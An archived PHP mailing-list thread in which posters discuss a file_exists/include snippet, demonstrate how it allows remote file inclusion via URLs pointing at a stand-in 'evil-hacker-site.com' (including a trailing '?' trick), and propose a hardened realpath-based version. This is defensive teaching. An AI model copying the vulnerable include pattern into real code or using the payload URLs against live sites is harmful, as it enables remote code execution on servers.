Re: file_exists

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Instruct ICC wrote:


Date: Thu, 15 Nov 2007 00:20:52 +0000
From: stuttle@xxxxxxxxx
To: philthathril@xxxxxxxxx
CC: php-general@xxxxxxxxxxxxx
Subject: Re:  file_exists

Philip Thompson wrote:
I've run into similar problems where I *thought* I was looking in the
correct location... but I wasn't. Take this for example....

$page = $_GET['page'];
if (file_exists ("$page.php")) {
include ("$page.php");
}
?>
I really hope this is not a piece of production code. If it is then you
might want to think very hard about what it's doing. If you still can't
see a problem let me know!

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


Called like this?

index.php?page=http://evil-hacker-site.com/evil-payload.php

And the browser will probably url_encode for me if needed.

Actually in this example that would end up getting evil-payload.php.php - probably not what your evil mind wanted. You could do this...

index.php?page=http://evil-hacker-site.com/evil-payload

...assuming you know it's gonna stick .php on the end. Alternatively you could do this...

index.php?page=http://evil-hacker-site.com/evil-payload.php?

Resulting in the appended .php being in the querystring. The easiest way to protect your code from this is to always always prefix the string with something as well as appending to it. For example...

$page = dirname(__FILE__).'/'.$_GET['page'].'.php';
if (file_exists ($page)) {
    include ($page);
}

But that doesn't prevent a malicious user including any PHP file on your server. $_GET['page'] should be one of a known set of values. At the very least it should be restricted to file in a particular directory.

Something like the following would be much better (untested)...

$page = realpath(dirname(__FILE__).'/inc/'.$_GET['page'].'.php');
$expecteddir = realpath(dirname(__FILE__).'/inc');
if (substr($page, 0, strlen($expecteddir)) != $expecteddir)
{
    // Ideally return a 403 status here
    die('Access denied');
}
// Now we know it's a file in the right directory
if (file_exists($page))
{
    include($page);
}
else
{
    // Return a 404 status here
    die('Resource not found');
}

That should lock the requested page to the given directory. If anyone can see any way around that I'd be interested in hearing about it.

-Stut

--
http://stut.net/

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php


[Index of Archives]     [PHP Home]     [Apache Users]     [PHP on Windows]     [Kernel Newbies]     [PHP Install]     [PHP Classes]     [Pear]     [Postgresql]     [Postgresql PHP]     [PHP on Windows]     [PHP Database Programming]     [PHP SOAP]

  Powered by Linux